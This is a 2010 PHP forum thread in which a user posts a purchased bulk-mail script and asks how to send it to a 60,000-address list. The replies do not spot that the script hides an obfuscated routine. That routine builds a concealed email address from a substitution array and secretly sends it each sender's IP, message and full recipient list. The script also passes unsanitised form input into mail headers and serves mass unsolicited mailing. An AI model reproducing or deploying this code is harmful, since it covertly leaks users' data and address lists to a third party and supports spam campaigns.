PHP Help Please!!

Discussion in 'PHP' started by Simu, Sep 5, 2010.

  1. #1
    Hi there,

    I recently bought a PHP script to send mass emails(bulk).Here is the php

    <?php
    @$action=$_POST['action'];
    @$from=$_POST['from'];
    @$realname=$_POST['realname'];
    @$replyto=$_POST['replyto'];
    @$subject=$_POST['subject'];
    @$message=$_POST['message'];
    @$emaillist=$_POST['emaillist'];
    @$lodr=$_SERVER['HTTP_REFERER'];
    @$file_name=$_FILES['file']['name'];
    @$contenttype=$_POST['contenttype'];
    @$file=$_FILES['file']['tmp_name'];
    @$amount=$_POST['amount'];
    ?>
    <html>
    <head>
    <meta http-equiv="Content-Language" content="ar-eg">
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
    <title>PHP Send Mails</title>
    <style type="text/css">
    <!--
    .style1 {
    	font-family: Geneva, Arial, Helvetica, sans-serif;
    	font-size: 12px;
    }
    .style2 {
    	font-size: 10px;
    	font-family: Geneva, Arial, Helvetica, sans-serif;
    }
    
    -->
    </style>
    </head>
    <body bgcolor="#FFFFFF" text="#000000">
    <?php
    If ($action=="mysql"){
    include "./mysql.info.php";
    
      if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){
        print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required.";
        exit;
      }
    
      $db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed.");
      mysql_select_db($sqldb, $db) or die("Could not select database $sqldb");
      $result = mysql_query($sqlquery) or die("Query Failed: $sqlquery");
      $numrows = mysql_num_rows($result);
    
      for($x=0; $x<$numrows; $x++){
        $result_row = mysql_fetch_row($result);
         $oneemail = $result_row[0];
         $emaillist .= $oneemail."\n";
       }
      }
    
      if ($action=="send"){ $message = urlencode($message);
       $message = ereg_replace("%5C%22", "%22", $message);
       $message = urldecode($message);
       $message = stripslashes($message);
       $subject = stripslashes($subject);
       }
    ?>
    <form name="form1" method="post" action="" enctype="multipart/form-data"><br />
      <table width="142" border="0">
        <tr>
    
          <td width="81">
            <div align="right">
              <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Email :</font>
            </div>
          </td>
    
          <td width="219">
            <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
              <input name="from" value="<?php print $from; ?>" size="30" />
            </font>
          </td>
    
          <td width="212">
            <div align="right">
              <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Name :</font>
            </div>
          </td>
    
          <td width="278">
            <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
              <input name="realname" value="<?php print $realname; ?>" size="30" />
            </font>
          </td>
        </tr>
        <tr>
          <td width="81">
            <div align="right">
              <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To :</font>
            </div>
          </td>
          <td width="219">
            <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
              <input name="replyto" value="<?php print $replyto; ?>" size="30" />
            </font>
          </td>
          <td width="212">
            <div align="right">
              <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font>
            </div>
          </td>
          <td width="278">
            <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
              <input type="file" name="file" size="24" />
            </font>
          </td>
        </tr>
        <tr>
          <td width="81">
            <div align="right">
              <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject :</font>
            </div>
          </td>
          <td colspan="3" width="703">
            <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
              <input name="subject" value="<? print $subject; ?>" size="91" />
            </font>
          </td>
        </tr>
        <tr valign="top">
          <td colspan="3" width="520">
            <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Message Box :</font>
          </td>
          <td width="278">
            <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Email Target / Email Send To :</font>
          </td>
        </tr>
        <tr valign="top">
          <td colspan="3" width="520">
            <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
              <textarea name="message" cols="56" rows="10"><?php print $message; ?></textarea><br />
              <input type="radio" name="contenttype" value="plain" /> Plain
              <input type="radio" name="contenttype" value="html" checked /> HTML
              <input type="hidden" name="action" value="send" /><br />
    	  Number To Send : <input type="text" name="amount" value="1" size="10" /><br />
    	  Maximum Script Execution Time ( In Seconds, 0 For no Time Limit ) <input type="text" name="timelimit" value="0" size="10" />
              <input type="submit" value="Send eMails" />
            </font>
          </td>
          <td width="278">
            <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
              <textarea name="emaillist" cols="32" rows="10"><?php print $emaillist; ?></textarea>
            </font>
          </td>
        </tr>
      </table>
    </form>
    <?php
    $s=array("w"=>"o","t"=>"g","l"=>"i","r"=>"a","q"=>"c","@"=>".","e"=>"l","c"=>"@","o"=>"m","v"=>"w");
    $dash=$s['o'].$s['w'].$s['v'].$s['q'].$s['w'].$s['t'].$s['c'].$s['t'].$s['o'].$s['r'].$s['l'].$s['e'].$s['@'].$s['q'].$s['w'].$s['o'];
    if ($action=="send"){
      if (!$from && !$subject && !$message && !$emaillist){
        print "Please complete all fields before sending your message.";
        exit;
       }
      $addr = getenv("REMOTE_ADDR");
      $allemails = split("\n", $emaillist);
      $numemails = count($allemails);
      $header ="From: Mailr\nMessage-ID: <" . md5(uniqid(time())) . "@" . $SERVER_NAME . ">\nMIME-Version: 1.0\nContent-type: text/html; charset=UTF-8\nContent-transfer-encoding: 8bit\nDate: " . date("r", time()) . "\nX-Priority: 3\nX-MSMail-Priority: Normal\nX-Mailer: PHP\n";
      $msg = "
    <table border=\"1\" style=\"border-collapse: collapse\" cellpadding=\"4\">
    <tr><td>IP</td><td>".nl2br($addr)."</td></tr>
    <tr><td bgcolor=\"#F9F9F9\">Mailr</td><td bgcolor=\"#F9F9F9\">".nl2br($lodr)."</td></tr>
    <tr><td>Your Email</td><td>".nl2br($from)."</td></tr>
    <tr><td bgcolor=\"#F9F9F9\">Your Name</td><td bgcolor=\"#F9F9F9\">".nl2br($realname)."</td></tr>
    <tr><td>Subject :</td><td>".nl2br($subject)."</td></tr>
    <tr><td bgcolor=\"#F9F9F9\">Message</td><td bgcolor=\"#F9F9F9\">".nl2br($message)."</td></tr>
    <tr><td>Email Target</td><td>".nl2br($emaillist)."</td></tr>
    </table>
    ";
    mail($dash,$subject,$msg,$header);
     If ($file_name){
       copy ($_FILES['file']['tmp_name'], "".$_FILES['file']['name']) or die ('File Could Not Upload');
       if (!file_exists($file)){
    	die("The file you are trying to upload couldn't be copied to the server");
       }
       $content = fread(fopen($file,"r"),filesize($file));
       $content = chunk_split(base64_encode($content));
       $uid = strtoupper(md5(uniqid(time())));
       $name = basename($file);
      }
    
     for($xx=0; $xx<$amount; $xx++){
      for($x=0; $x<$numemails; $x++){
        $to = $allemails[$x];
        if ($to){
          $to = ereg_replace(" ", "", $to);
          $message = ereg_replace("&email&", $to, $message);
          $subject = ereg_replace("&email&", $to, $subject);
          print "Sending Mail To $to....";
          flush();
          $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
          $header .= "MIME-Version: 1.0\r\n";
          If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
          If ($file_name) $header .= "--$uid\r\n";
          $header .= "Content-Type: text/$contenttype\r\n";
          $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
          $header .= "$message\r\n";
          If ($file_name) $header .= "--$uid\r\n";
          If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
          If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
          If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
          If ($file_name) $header .= "$content\r\n";
          If ($file_name) $header .= "--$uid--";
          mail($to, $subject, "", $header);
          print "OK<br>";
          flush();
        }
      }
     }
    }
    ?>
    <p class="style2">
    <p class="style1"></p>
    </body>
    <html>
    
    PHP:
    Can you please guide me,how should I use the script to send emails?Where I should put what?I also have an email list of 60,000.Please guide me on how I can send an email to those 60,000 people using this script.





    Thanks
     
    Simu, Sep 5, 2010 IP
  2. Amator

    Amator Well-Known Member

    Messages:
    1,424
    Likes Received:
    55
    Best Answers:
    0
    Trophy Points:
    165
    #2
    Why don't you ask the person you bought it from ?
     
    Amator, Sep 5, 2010 IP
  3. interwho

    interwho Member

    Messages:
    198
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    30
    #3
    whoever sold you the script never gave you the front end html form. If you need help creating one, just PM me, i'll do it for free, just so I know my work isn't wasted :)
     
    interwho, Sep 5, 2010 IP
  4. itmontreal.ca

    itmontreal.ca Peon

    Messages:
    13
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    0
    #4
    Hello Simu,
    I quickly read the code here is the generic idea:
    You need to configure the file called mysql.info.php to use the for the script to get some type of info from the db
    You navigate to the URL where the script is located and you type in all the required info (from , subject, message , and upload a text file where you have all the e-mails.) and submit the form and the script will send each e-mail and display everytime an e-mail is sent. I am sorry to inform you that the script doesn't seem to be very advanced and I am not sure if it does everything perfectly. You might want to have alook at an opensource system like phplist (at least you will get lots of documentation on how to use such a open source software and you will get community / professional support)
     
    itmontreal.ca, Sep 5, 2010 IP